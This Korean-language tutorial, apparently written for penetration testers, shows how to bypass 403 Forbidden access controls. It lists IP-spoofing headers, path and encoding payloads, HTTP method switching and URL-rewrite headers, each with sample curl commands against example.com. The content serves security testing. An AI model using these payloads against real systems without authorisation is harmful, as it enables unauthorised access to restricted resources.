403 forbidden을 우회하는 4가지 방법들

때때로 보안 테스팅 시 WAF나 Application의 로직에 따라 403 Forbidden 으로 접근이 제한되는 경우가 있습니다. 보통은 백엔드의 처리 로직을 봐야 정확하게 우회할 수 있는 포인트를 잡겠지만, 몇가지 트릭을 통해 Black Box Testing 상태에서도 이를 우회할 수 있습니다.

오늘은 403을 우회하는 3가지 방법들에 대해 가볍게 이야기하려고 합니다.

Escape from IP/Host range blocking

HTTP Request Header는 정말 많은 것들이 있습니다. 이중에 X로 시작하는 커스텀 헤더들의 경우 WAS, WebApp, WAF 등 서버에 따라 이를 인지하고 처리하는 경우도 존재하는데요. 이를 이용하면 403이 발생하는 페이지에서 차단하는 로직을 우회하고 접근할 수 있는 포인트가 될 수 있습니다.

일반적으로 Client의 IP/Host를 속일 수 있는 헤더들은 아래와 같습니다.

  • X-Custom-IP-Authorization: 127.0.0.1
  • X-Forwarded: 127.0.0.1
  • X-Forwarded-For: 127.0.0.1
  • X-Forwarded-Host: localhost
  • X-Forwarded-By: 127.0.0.1
  • X-Forwarded-Port: 80
  • X-Forward-For: 127.0.0.1
  • X-Remote-IP: 127.0.0.1
  • X-Originating-IP: 127.0.0.1
  • X-Remote-Addr: 127.0.0.1
  • X-Client-IP: 127.0.0.1
  • X-Real-IP: 127.0.0.1
  • X-True-IP: 127.0.0.1
  • Redirect: http://localhost
  • Referer: http://localhost
  • Host: localhost

403 페이지 접근 시 아래와 같이 해당 헤더를 이용하여 WAS, WebApp, WAF 등이 허용 대역에서 온 요청인 것 처럼 속여 정상 Response를 유도할 수 있습니다.

e.g (차단)

curl -i -k https://example.com
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k -H "X-Remote-IP: 10.10.10.10" https://example.com
HTTP/1.1 200 OK

This is secret page

Escape from path-base blocking

URI Path 기반의 차단 로직으로 인해 403이 발생하는 경우 아래 패턴과 같이 실제 해당 URL을 바라보지만, 정규식 등에 걸리지 않도록 경로를 이용하여 차단 로직을 우회할 수 있습니다.

  • target.com/secret
  • target.com/%2e/secret
  • /secret%20
  • /secret%09
  • /secret%00
  • /%90/secret
  • /%2e/secret
  • /secret/
  • /secret/.
  • //secret//
  • /./secret
  • /;/secret
  • /.;secret
  • //;//secret
  • /secret..;/
  • /secret/..;/
  • /secret.json
  • /secret.css
  • /secret.html
  • /secret?
  • /secret??
  • /secret???
  • /secret?testparam
  • /secret#
  • /secret#test

Encoding

보통 위 패턴을 URL Encode, Double URL Encode 그리고 Unicode로 처리한 값으로 많이 사용합니다.

  • Original: //secret
  • URL: /%2fsecret
  • DURL: /%252fsecret
  • Unicode: /%ef%bc%8fsecret

Letter case

대소문자를 이용해 우회할 수도 있습니다. 보통 Application 서버와 WAS 간의 처리 방식 차이로 발생하며 WAS에서 정규식 기반으로 차단하는 경우 이 케이스가 발생할 가능성이 높습니다.

  • Original: /secret
  • Upper: /SECRET

Change API Version

API의 경우 버전별로 접근 제어가 다른 경우가 있습니다.

  • Original: /v1/secret
  • Change: /v2/secret

Change Protocol

때때로 https 등에서만 접근 제어를 하는 경우도 있습니다.

  • Original: https://target.hahwul.com/secret
  • Original: http://target.hahwul.com/secret

Common patterns

대표적으로 사용되는 쿼리 페이로드는 아래와 같습니다.

%09
%20
%23
%2e
%2f
.
;
..;
;%09
;%09..
;%09..;
;%2f..
*

e.g (차단)

curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k https://example.com/;%09/secret
HTTP/1.1 200 OK

This is secret page

Bypass with change Method

때때로 서비스는 HTTP 메소드까지 매핑하여 차단하는 경우가 있습니다. 이러한 경우 차단되지 않는 메소드를 찾아 우회할 수 있습니다.

HTTP Methods

  • GET
  • POST
  • PATCH
  • DELETE
  • PUT
  • DEBUG
  • OPTIONS
  • TRACE
  • HEAD
  • CONNECT

e.g (차단)

curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k -X "POST" https://example.com/secret
HTTP/1.1 200 OK

This is secret page

Bypass with rewrite URL

일부 서버는 경로를 새로 지정하는 re-write 계열의 헤더를 처리하는 서버가 존재합니다. 이를 이용하면 접근이 제한된 페이지를 백엔드단에서 URL을 재 설정하여 접근할 수 있습니다.

  • X-Rewrite-URL
  • X-Original-URL

e.g (차단)

curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden

e.g (우회)

curl -i -k -H "X-Rewrite-URL: /secret" https://example.com
HTTP/1.1 200 OK

This is secret page

Tools

  • https://github.com/PortSwigger/403-bypasser (Burpsuite Extension)
  • https://www.zaproxy.org/docs/alerts/40038/ (ZAP Active Rule)

References

  • https://developer.mozilla.org/ko/docs/Web/HTTP/Status/403
  • https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-For
  • https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-Host